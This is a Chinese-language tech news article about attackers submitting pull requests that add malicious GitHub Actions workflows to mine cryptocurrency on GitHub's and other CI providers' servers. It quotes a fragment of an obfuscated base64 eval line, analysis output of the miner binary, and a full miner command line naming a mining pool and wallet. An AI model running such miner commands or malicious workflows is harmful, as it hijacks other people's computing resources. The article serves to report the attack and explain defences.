header-langage
简体中文
繁體中文
English
Tiếng Việt
한국어
日本語
ภาษาไทย
Türkçe
掃碼下載APP

黑客「白嫖」GitHub服務器挖礦,三天轉化約3萬個挖礦任務

2021-04-12 18:42
閱讀本文需 15 分鐘
总结 AI 總結
看總結 收起
原文標題:《 黑客用 GitHub 服務器挖礦,三天跑了 3 萬個任務,代碼驚現中文 》
原文來源: 量子位


加密貨幣價格一路高漲,顯卡又買不起,怎麼才能「廉價」挖礦?


黑客們動起了歪心思——「白嫖」服務器。


給 PC 植入挖礦木馬,已經無法滿足黑客日益增長的算力需求,如果能用上 GitHub 的服務器,還不花錢,那當然是極好的。


黑客用 GitHub 服務器挖礦,三天跑了 3 萬個任務,代碼驚現中文


而且整個過程可能比侵入 PC 還容易,甚至都不需要程序員上當受騙。只需提交 Pull Request(PR),即使項目管理者沒有批准,惡意挖礦代碼依然能夠執行。


原理也很簡單,利用 GitHub Action 的自動執行工作流功能,輕鬆將挖礦程序運行在 GitHub 的服務器上。


早在去年 11 月,就已經有人發現黑客這種行爲。更可怕的是,半年過去了,這種現象依然沒得到有效制止。


GitHub 心裏苦啊,雖然可以封禁違規賬號,但黑客們玩起了「游擊戰術」,不斷更換馬甲號逃避「追捕」,讓官方疲於奔命。


就在幾天前,一位荷蘭的程序員還發現,這種攻擊方式依然存在,甚至代碼裏還出現了中文。


黑客用 GitHub 服務器挖礦,三天跑了 3 萬個任務,代碼驚現中文


那麼,這些黑客是如何植入挖礦程序的呢?一切要從發現異常的法國程序員 Tib 說起。


PR 異常讓程序員起疑心


去年 11 月,Tib 發現,自己在一個沒有參加的 repo 上收到了 PR 請求。而且在 14 個小時內就收到了 7 個,全是來自一個「y4ndexhater1」的用戶,沒有任何描述內容。



黑客用 GitHub 服務器挖礦,三天跑了 3 萬個任務,代碼驚現中文


令人感到奇怪的是,這並不是一個熱門項目,Star 數量爲 0。


黑客用 GitHub 服務器挖礦,三天跑了 3 萬個任務,代碼驚現中文


打開項目主頁發現,內容是 Perl 項目的 github action、circle ci、travis-ci 示例代碼集合,整個 README 文檔一團糟,根本不像一個正經的開源項目。


黑客用 GitHub 服務器挖礦,三天跑了 3 萬個任務,代碼驚現中文


然而就是這個混亂又冷門的 repo,居然在 3 天裏被 fork 了 2 次。


一切都太不正常了,讓人嗅到了一絲不安的氣息。


嘗試「作死」運行


本着「作死」的精神,Tib 決定一探究竟。


經過那位可疑用戶的操作,Tib 所有的 action 都被刪除,在工作流裏被加入了一個 ci.yml 文件,內容如下:


黑客用 GitHub 服務器挖礦,三天跑了 3 萬個任務,代碼驚現中文


當 Tib 看到 eval  "$(echo "XB0IHVwZGF0ZSAt 這一行內容後,立刻從沙發上跳了起來,他意識到事情的嚴重性:有人在入侵他的 GitHub 個人資料!


這串看似神祕的字符,其實是 base64 編碼,經過翻譯後,得到了另一段代碼:




前面兩行不必解釋,有意思的地方從第三行開始,它會下載一個 prog 二進制文件。


爲了安全起見,Tib 先嚐試獲取信息而不是執行,得到了它的十六進制代碼。


 $ objdump -s –section .comment prog

prog: file format elf64-x86-64

Contents of section .comment:

0000 4743433a 2028416c 70696e65 2031302e GCC: (Alpine 10.

0010 322e315f 70726531 29203130 2e322e31 2.1_pre1) 10.2.1

0020 20323032 30313230 3300 20201203.


Tib 也考慮過反編譯,但是沒有成功。


不入虎穴,焉得虎子,Tib 決定嘗試運行一下。


要執行這一大膽而又作死的任務,防止「試試就逝世」,Tib 首先斷開了電腦的網絡鏈接,並選擇在 Docker 容器中運行。答案終於揭曉,原來這個 prog 是一個名爲 XMRig 的挖礦程序。


$ ./prog –version

XMRig 6.8.1

built on Feb 3 2021 with GCC 10.2.1

features: 64-bit AES

libuv/1.40.0

OpenSSL/1.1.1i

hwloc/2.4.0


當時 XMRig 的最新版恰好是 6.8.1,和上面的版本參數符合。不過用 SHA256 檢測後發現,這個 prog 並不完全是 XMRig,Tib 預測它可能是一個修改版。


實際上,可能被攻擊的不止 GitHub,安全公司 Aqua 推測,像 Docker Hub、Travis CI、Circle CI 這些 SaaS 軟件開發環境,都可能遭受這類攻擊。


在這個攻擊過程中,會派生一個合法的 repo,負責將惡意的 GitHub Action 添加到原始代碼。然後,黑客再向原始 repo 提交一個 PR,將代碼合併回原始 repo。


下載的挖礦程序會僞裝成 prog 或者 gcc 編譯器,通過提交 PR 在項目執行自動化工作流。此時服務器將運行僞裝後的挖礦程序。


黑客用 GitHub 服務器挖礦,三天跑了 3 萬個任務,代碼驚現中文


這些攻擊者僅一次攻擊就可以運行多達 100 個挖礦程序,從而給 GitHub 的服務器帶來了巨大的計算量。


據 Aqua 估計,僅在三天的時間裏,挖礦黑客就在 GitHub 上有超過 2.33 萬次 commit、在 Docker Hub 上 5.8 萬次 build,轉化了大約 3 萬個挖礦任務。


可以防範但很難根除


這種攻擊甚至不需要被攻擊的倉庫管理者接受惡意 Pull Request。


只要在.github/workflows 目錄裏面的任意.yml 文件中配置了在收到 Pull Request 時執行,來自黑客的 Action 就會自動被執行。


如果你沒有使用這個功能,那就不用擔心啦,黑客大概也不會找上你。


需要用到這個功能的話,可以設置成只允許本地 Action 或只允許 Github 官方及特定作者創建的 Action。


黑客用 GitHub 服務器挖礦,三天跑了 3 萬個任務,代碼驚現中文


將情況反饋給客服後,GitHub 會對惡意賬號進行封號和關閉相關 Pull Request 的操作。


但惡意攻擊很難被根除,黑客只需要註冊新的賬號就可以繼續白嫖服務器資源。


攻擊還在繼續


我們從最近一次攻擊中發現,黑客將挖礦程序上傳到 GitLab 並僞裝成包管理工具 npm。


黑客用 GitHub 服務器挖礦,三天跑了 3 萬個任務,代碼驚現中文


打開這個可疑的 nani.bat,可以看到:


npm.exe –algorithm argon2id_chukwa2

–pool turtlecoin.herominers.com:10380

–wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP

–password xo


這一次黑客挖的是烏龜幣*(TurtleCoin)*, 可使用 CPU 計算。按當前價格挖出四千多個幣才值 1 美元。


黑客用 GitHub 服務器挖礦,三天跑了 3 萬個任務,代碼驚現中文


Github Actions 的免費服務器可以提供英特爾 E5 2673v4 的兩個核心,7GB 內存。


大致估算單臺運行一天只能獲利幾美分,而且黑客的挖礦程序通常只能在被發現之前運行幾個小時。比如 Docker Hub 就把自動 build 的運行時間限制在 2 個小時。


不過蚊子再小也是肉,黑客通過尋找更多接受公開 Action 的倉庫以及反覆打開關閉 Pull Request 就能執行更多的挖礦程序。


黑客用 GitHub 服務器挖礦,三天跑了 3 萬個任務,代碼驚現中文△同一黑客賬號至少攻擊了 95 個 GitHub 倉庫


正如 Twitter 用戶 Dave Walker 所說的,如果你提供免費的計算資源,就要做好會被攻擊和濫用的覺悟。挖礦有利可圖的情況下這是不可避免的。


黑客用 GitHub 服務器挖礦,三天跑了 3 萬個任務,代碼驚現中文


據報道,受害的不止 GitHub,還有 Docker Hub、Travis CI 以及 Circle CI 等提供類似服務的持續集成平臺。


這一亂象不知何時才能結束,唯一的好消息可能就是,挖礦的黑客似乎只是針對 GitHub 提供的服務器資源,而不會破壞你的代碼。


但是 GitHub Action 的漏洞不止這一個。還有方法能使黑客讀寫開發者的倉庫,甚至可以讀取加密的機密文件。


黑客用 GitHub 服務器挖礦,三天跑了 3 萬個任務,代碼驚現中文


去年 7 月,Google Project Zero 團隊就已向 GitHub 通報漏洞。但在給出的 90 天修復期限+延長 14 天后,GitHub 仍未能有效解決。


對此,我們的建議是,不要輕易相信 GitHub 市場裏的 Action 作者,不要交出你的密匙。


參考鏈接:
[1]https://therecord.media/github-investigating-crypto-mining-campaign-abusing-its-server-infrastructure/
[2]https://dev.to/thibaultduponchelle/the-github-action-mining-attack-through-pull-request-2lmc
[3]https://blog.aquasec.com/container-security-alert-campaign-abusing-github-dockerhub-travis-ci-circle-ci
[4]https://twitter.com/JustinPerdok
[5]https://bugs.chromium.org/p/project-zero/issues/detail?id=2070


原文鏈接


歡迎加入律動 BlockBeats 官方社群:

Telegram 訂閱群:https://t.me/theblockbeats

Telegram 交流群:https://t.me/BlockBeats_App

Twitter 官方帳號:https://twitter.com/BlockBeatsAsia

举报 糾錯/舉報
本平台現已全面集成Farcaster協議, 如果您已有Farcaster帳戶, 可以登錄 後發表評論
選擇文庫
新增文庫
取消
完成
新增文庫
僅自己可見
公開
保存
糾錯/舉報
提交